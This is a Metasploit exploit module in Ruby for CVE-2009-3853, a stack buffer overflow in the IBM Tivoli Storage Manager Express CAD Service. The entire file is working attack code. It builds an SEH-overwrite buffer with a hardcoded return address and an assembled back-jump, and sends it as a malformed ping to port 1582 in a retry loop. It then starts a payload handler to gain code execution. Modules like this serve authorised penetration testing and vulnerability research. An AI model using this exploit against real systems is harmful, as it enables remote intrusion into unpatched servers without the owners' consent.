##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the IBM Tivoli Storage Manager Express CAD Service.
          By sending a "ping" packet containing a long string, an attacker can execute arbitrary code.

          NOTE: the dsmcad.exe service must be in a particular state (CadWaitingStatus = 1) in order
          for the vulnerable code to be reached. This state doesn't appear to be reachable when the
          TSM server is not running. This service does not restart.
        },
        'Author' => [ 'jduck' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-3853' ],
          [ 'OSVDB', '59632' ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'seh',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 380, # offset to seh is 384
          'BadChars' => '', # none!
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          # this target should be pretty universal..
          # dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
          [ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-11-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([ Opt::RPORT(1582) ])
  end

  def exploit
    print_status("Trying target %s..." % target.name)

    # wchar_t buf[64];

    # print_status("Generating sploit data...")
    distance = payload_space + 8
    backjmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
    copy_len = distance + backjmp.length + (1024 * 3)

    sploit = [0, copy_len].pack('n*')
    sploit << payload.encoded
    sploit << generate_seh_record(target.ret)
    sploit << backjmp
    # force hitting end of the stack
    sploit << rand_text(1024) * 3

    data = [sploit.length, 0x26, 0xa5].pack('nCC')
    data << sploit

    got_it = false
    while not got_it
      connect
      print_status("Sending nasty ping request...")
      sock.put(data)

      begin
        buf = sock.get_once(-1, 5)
      rescue
        print_status("Hrm, the service is probably in the wrong state, stand by...")
        disconnect
        select(nil, nil, nil, 5)
        next
      end
      got_it = true
    end

    print_status("Starting handler...")
    handler
    disconnect
  end
end